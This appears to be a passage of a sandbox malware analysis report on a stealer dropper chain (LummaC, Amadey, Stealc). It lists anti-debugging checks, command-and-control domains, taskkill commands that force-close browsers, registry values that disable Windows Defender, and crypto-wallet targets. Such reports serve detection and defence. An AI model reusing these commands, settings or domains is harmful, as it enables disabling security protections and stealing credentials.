Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696494690o
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: firefox.exe, 00000020.00000002.2468831100.0000024963DEC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: |VmcI
Source: XVTAV824L7GG4HFUZ6DTK345T.exe, 00000004.00000002.1699688948.0000000001230000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696494690j
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696494690
Source: cc6c7213b6.exe, 00000010.00000002.2218307084.0000000001592000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWX=\
Source: cc6c7213b6.exe, 00000010.00000002.2218307084.000000000154E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: firefox.exe, 00000020.00000002.2461740422.0000024958C14000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}TER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: OR17DXDL5BQ5H62NVD1DH.exe, 00000003.00000002.1705325114.00000000001CA000.00000040.00000001.01000000.00000006.sdmp, OR17DXDL5BQ5H62NVD1DH.exe, 00000003.00000001.1612229933.00000000001CA000.00000080.00000001.01000000.00000006.sdmp, XVTAV824L7GG4HFUZ6DTK345T.exe, 00000004.00000002.1698231694.00000000005FF000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000009.00000002.1743411629.00000000003EF000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 0000000A.00000002.1744045051.00000000003EF000.00000040.00000001.01000000.0000000D.sdmp, cc6c7213b6.exe, 00000010.00000002.2217490475.000000000118B000.00000040.00000001.01000000.00000010.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696494690|UE
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Code function: 3_2_001BEC65 rdtsc 3_2_001BEC65
Enables debug privileges
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: cc6c7213b6.exe PID: 3160, type: MEMORYSTR
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.1419503764.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1419503764.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1419503764.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1419503764.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1419503764.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1419503764.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1419503764.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1419503764.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: presticitpo.store
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe "C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe "C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe "C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002860001\num.exe "C:\Users\user\AppData\Local\Temp\1002860001\num.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: 457547ced2.exe, 00000011.00000002.2288765487.00000000009A2000.00000002.00000001.01000000.00000011.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: cc6c7213b6.exe, 00000010.00000002.2217490475.000000000118B000.00000040.00000001.01000000.00000010.sdmp Binary or memory string: #Program Manager
Source: OR17DXDL5BQ5H62NVD1DH.exe, OR17DXDL5BQ5H62NVD1DH.exe, 00000003.00000002.1705769852.0000000000217000.00000040.00000001.01000000.00000006.sdmp Binary or memory string: ^Program Manager
Source: firefox.exe, 00000020.00000002.2434717345.000000E72B27B000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?Progman
Source: skotes.exe, skotes.exe, 0000000A.00000002.1744045051.00000000003EF000.00000040.00000001.01000000.0000000D.sdmp Binary or memory string: qProgram Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002851001\info.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002860001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002860001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Registry value created: TamperProtection 0
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations
AV process strings found (often used to terminate AV products)
Source: 51c532c207.exe, 0000000F.00000003.2228112496.000000000543C000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2229390724.0000000005442000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2229423379.0000000000857000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2229352881.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2432299803.0000000000536000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 10.2.skotes.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.PK29CODQN9XEGX33RPZ17G59EIZ.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.XVTAV824L7GG4HFUZ6DTK345T.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.skotes.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000003.2455197183.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.1703274336.0000000005210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.1698154447.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.1963059284.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1742731677.0000000000201000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1743901039.0000000000201000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1697679420.0000000000411000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.2495989179.00000000006B1000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.1656362963.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 457547ced2.exe PID: 7080, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 51c532c207.exe PID: 2848, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 51c532c207.exe PID: 5744, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 44.0.num.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.num.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.num.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.cc6c7213b6.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.cc6c7213b6.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000021.00000002.2284770052.000000000086E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2404997119.0000000000D21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000000.2499635295.0000000000851000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.2345172015.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2217073879.0000000000D21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.2262420401.000000000086E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2218307084.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2171127165.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000000.2499765616.000000000086E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2284691160.0000000000851000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2413359793.000000000158B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2287319406.00000000010EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.2262351231.0000000000851000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cc6c7213b6.exe PID: 3160, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\num[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe String found in binary or memory: llets/Electrum-LTC
Source: file.exe String found in binary or memory: Wallets/ElectronCash
Source: file.exe String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1466859109.0000000001651000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: on","window-state.json"],"z":"Wat}N
